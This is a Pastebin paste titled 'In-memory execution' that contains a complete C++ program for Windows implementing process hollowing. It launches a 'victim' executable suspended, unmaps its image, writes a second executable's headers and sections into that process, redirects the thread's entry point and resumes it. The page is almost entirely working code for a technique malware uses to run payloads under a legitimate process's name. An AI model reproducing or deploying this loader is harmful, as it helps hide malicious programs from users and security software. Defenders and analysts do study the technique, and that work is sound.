Advertisement
Guest User

In-memory execution

a guest
Feb 4th, 2013
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.77 KB | None | 0 0
  1. // d3c0mpil3r!
  2.  
  3. #include <Windows.h>
  4. #include <iostream>
  5.  
  6. using namespace std;
  7.  
  8. typedef NTSTATUS (WINAPI* pNtUnmapViewOfSection)(HANDLE ProcessHandle,
  9.     PVOID BaseAddress);
  10.  
  11. LPBYTE GetFile(char *filePath)
  12. {
  13.     LPBYTE data = NULL;
  14.     HANDLE h = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  15.     if (h)
  16.     {
  17.         DWORD fSize = GetFileSize(h, NULL);
  18.         data = new BYTE[fSize];
  19.  
  20.         DWORD read = NULL;
  21.         ReadFile(h, data, fSize, &read, NULL);
  22.  
  23.         CloseHandle(h);
  24.     }
  25.     return data;
  26. }
  27.  
  28. void DoStuff(char *file, char *victimFile)
  29. {
  30.     LPBYTE data = GetFile(file);
  31.     if (data)
  32.     {
  33.         PIMAGE_DOS_HEADER idh = (PIMAGE_DOS_HEADER)data;
  34.         if (idh->e_magic == IMAGE_DOS_SIGNATURE)
  35.         {
  36.             PIMAGE_NT_HEADERS inh = (PIMAGE_NT_HEADERS)(data + idh->e_lfanew);
  37.             if (inh->Signature == IMAGE_NT_SIGNATURE)
  38.             {  
  39.                 PROCESS_INFORMATION pi;
  40.                 STARTUPINFOA si;
  41.  
  42.                 ZeroMemory(&pi, sizeof(pi));
  43.                 ZeroMemory(&si, sizeof(si));
  44.                 si.cb = sizeof(si);
  45.  
  46.                 pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
  47.                
  48.                 if (CreateProcessA(NULL, victimFile, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
  49.                 {
  50.                     CONTEXT c;
  51.                     c.ContextFlags = CONTEXT_FULL;
  52.                     if (GetThreadContext(pi.hThread, &c))
  53.                     {
  54.                         DWORD imageBase = NULL;
  55.                         ReadProcessMemory(pi.hProcess, (LPCVOID)(c.Ebx + 8), &imageBase, sizeof(DWORD), NULL);
  56.  
  57.                         if (imageBase == inh->OptionalHeader.ImageBase)
  58.                         {
  59.                             NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
  60.                         }
  61.  
  62.                         LPVOID address = VirtualAllocEx(pi.hProcess, (LPVOID)inh->OptionalHeader.ImageBase, inh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  63.                         if (address)
  64.                         {
  65.                             // address == inh->OptionalHeader.ImageBase;
  66.                             WriteProcessMemory(pi.hProcess, address, data, inh->OptionalHeader.SizeOfHeaders, NULL);
  67.                             for (int i = 0; i < inh->FileHeader.NumberOfSections; i++)
  68.                             {
  69.                                 int offset = idh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i);
  70.                                 PIMAGE_SECTION_HEADER ish = (PIMAGE_SECTION_HEADER)(data + offset);
  71.  
  72.                                 WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)address + ish->VirtualAddress), data + ish->PointerToRawData, ish->SizeOfRawData, NULL);
  73.                             }
  74.  
  75.                             WriteProcessMemory(pi.hProcess, (LPVOID)(c.Ebx + 8), &inh->OptionalHeader.ImageBase, sizeof(DWORD), NULL);
  76.                             c.Eax = (DWORD)address + inh->OptionalHeader.AddressOfEntryPoint;
  77.                             SetThreadContext(pi.hThread, &c);
  78.                            
  79.                             ResumeThread(pi.hThread);
  80.                         }
  81.                     }
  82.                 }
  83.             }
  84.         }
  85.  
  86.         delete data;
  87.     }
  88. }
  89.  
  90. int main()
  91. {
  92.     DoStuff("C:\\file1.exe", "C:\\victim.exe");
  93.  
  94.     cin.get();
  95.     return 0;
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement